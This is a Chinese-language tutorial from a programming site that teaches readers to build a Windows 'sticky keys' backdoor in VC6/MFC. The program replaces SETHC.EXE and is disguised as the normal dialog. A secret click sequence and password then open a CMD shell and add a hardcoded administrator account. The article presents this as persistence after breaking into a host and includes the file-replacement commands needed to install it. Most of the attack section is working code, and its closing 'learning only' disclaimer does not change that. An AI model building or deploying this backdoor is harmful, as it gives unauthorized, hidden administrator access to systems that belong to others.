当前位置:编程学习 > VC++ >>

3389后门自己造

文/图 天涯浪人
  在攻破一台主机系统后,最重要的一件事就是安装后门,以便我们能够再次进来。当我们成功进入一台开了Windows远程登录服务的机器后,多半会留一个隐藏账号,或者是把Guest克隆为管理员,再不就是安装一个后门。但克隆账号用得太多了,现在已经不好用了,有安全意识的管理员在察觉系统可能出了问题后,都会检查系统账号的安全性。而且,现在杀毒软件和防火墙功能越来越强,后门想要不被查出来也比较难,除非是Rootkit级的后门。
前几天看到一篇介绍利用Windows粘滞键做后门的文章,原理就是续按五次Shift键,会触发粘滞键设置程序SETHC.EXE,用3389远程桌面连接器连接主机时,在未登录的情况下,也可以触发粘滞键设置程序SETHC.EXE。如果SETHC.EXE被替换为CMD.EXE或是我们的后门程序,那么就可以在目标机器上开启一个Shell或运行我们的后门了。
    基于上面的考虑,加上我们对后门程序隐蔽性的要求,可以利用Windows的这个漏洞来编写一个简单的后门程序。我们先看一下Windows XP下的这个程序。从System32下复制一个SETHC.EXE出来,直接运行,没有反应。用ResHacker查看一下,发现只有一个空对话框,显示的信息都是程序里的字串,查看字串发现SETHC.EXE可以用多种方式激活,对应多种系统设置,像筛选键、鼠标键、切换键等,如持续按下 NUM LOCK 键5秒就可以启用ToggleKeys键设置,对应的程序也是SETHC.EXE。
这样,我们就有了写一个后门的思路,在安装时替换目标系统的SETHC.EXE,平时隐藏在系统中并不运行,这样便减少了被发现的概率;并且程序运行时,伪装成正常程序的界面,程序经过特定的操作才会露出后门的原形,输入正确的密码后,才能进入到后门的界面。先给大家看下写完的后门运行时的截图,如图1所示。

图1
程序运行时的外观和正常程序完全一样,为了使管理员打开粘滞键设置时后门不被发现,点击确定和退出时会和正常程序一样关闭窗口。当先点击设置再点击退出时,才会在窗口上出现一个输入框,输入正确的密码后点击设置就可以打开后门的设置界面了,如图2和图3所示。
  
图2
  
图3
下面我们就来编写这个小程序。由于这里只是简单的介绍这种后门的思路,所以只写了两个简单的功能,添加一个系统账号和开启一个CMDShell。大家可能想到,在Shell里用命令添加不就行了,但这里不是调用系统命令实现的,而是直接调用系统API函数实现,以防止管理员禁用了CMD.EXE而使后门不能正常工作。好了,不多说了,还是直接看代码吧。
打开VC6.0,新建一个对话框工程,按照上面的截图做好程序界面,并导入一个对话框,在建立类向导中添加CsetDialog类。为了实现程序隐蔽性,先单击设置再单击退出才会有反应,所以这里的EDIT控件用动态创建的方法实现。

//先定义三个变量
CEdit m_MyEdit;  //用来动态创建EDIT控件
BOOL ID;
BOOL ID2;

设置按钮的单击响应的代码如下。
void CSethc_doorDlg::OnSet()
{
// TODO: Add your control notification handler code here
// UpdateData(true);
char pass[16];
if(ID)  //单击退出时ID 赋 TRUE
{
GetDlgItem(ID_EDT)->GetWindowText(pass,16);
if(strcmp(passwd,pass)==0) //进入后门时的密码验证
{
CSetDialog Dialog;
Dialog.DoModal(); //设置对话框
}
else
{
MessageBox("密码错误!");
}
}
else
{
ID2=true; //没点击退出时ID2赋 TRUE
}
}

退出按钮的单击响应的代码如下。

//CDialog::OnCancel();
if(ID2)
{
ID =true; //动态创建EDIT控件
m_MyEdit.CreateEx(WS_EX_CLIENTEDGE, // 3D-border外观
_T("EDIT"),
NULL,
ES_AUTOHSCROLL | ES_LEFT | ES_NOHIDESEL | WS_CHILD,
CRect(280,80,350,100), this,
ID_EDT);//生成edit控件
m_MyEdit.ShowWindow(SW_SHOW); //显示控件
m_MyEdit.SetFocus(); //设置焦点
}
else
{
CDialog::OnCancel(); //没有点击过设置按钮,程序直接退出
}

最好就输入正确的密码后进入后门功能的界面了。按照图3在对话框上设置好控件的位置,要得到一个本地的CMDShell比较容易。
void CSetDialog::OnCmd()
{  
// TODO: Add your control notification handler code here
WinExec("cmd.exe",SW_SHOW);
//在3389窗口创建一个CMD进程
}

添加一个管理员权限账号,实现代码如下。
void CSetDialog::OnAdduser()
{
// TODO: Add your control notification handler code here
//UpdateData(true);
USER_INFO_1 ui;
DWORD dwError = 0;
  
ui.usri1_name = L"tianya"; //添加的账号
ui.usri1_password = L"tianya";//添加的密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;

if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
MessageBox("添加用户成功! "); //添加成功
}
else
{
MessageBox("添加用户失败! "); //添加失败
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"tianya");
    LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
    //添加到Administrators组
if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )
{
MessageBox("添加到管理员组成功! ");
//添加到管理员组成功
}
else
{
MessageBox("添加到管理员组失败! ");
//添加到管理员组添加失败
}  
}

至此,简单的粘滞键后门就初步完成了。现在,只有程序的版本信息和图标还没有改了,图标直接在工程里换掉就行了,版本信息用ResHacker替换一下就可以了。接下来就是后门的安装了,由于程序是替换系统程序工作的,所以安装时要通过系统文件保护这一关。这里不是程序的重点,安装就用简单的系统命令替换吧:“copy sethc_door.exe c:windowssystem32dllcachesethc.exe© sethc_door.exe c:windowssystem32sethc.exe”。在Windows 2003上的测试结果如图4所示,是不是感觉很简单呢?这个后门利用的是Windows漏洞,所以通用性很强,甚至在最新的Vista系统里也有这个漏洞。不过这里有一点要指出来,就是要启动后门需要一个3389登录时的界面,或者是能接触到物理主机。这样,只要按下五次Shift 或是持续按下NUM LOCK键5秒就可以启动后门了。当然,程序的功能比较简单,如果读者朋友有兴趣的话,可以自己修改代码,加入想要的功能。这里多说几句,以上文章仅做学习之用,请勿用于非法用途,本人无法保证该以上代码或程序不会对您的系统造成损害,请使用者自己承担一切后果,否则请勿尝试运行
补充:软件开发 , Vc ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,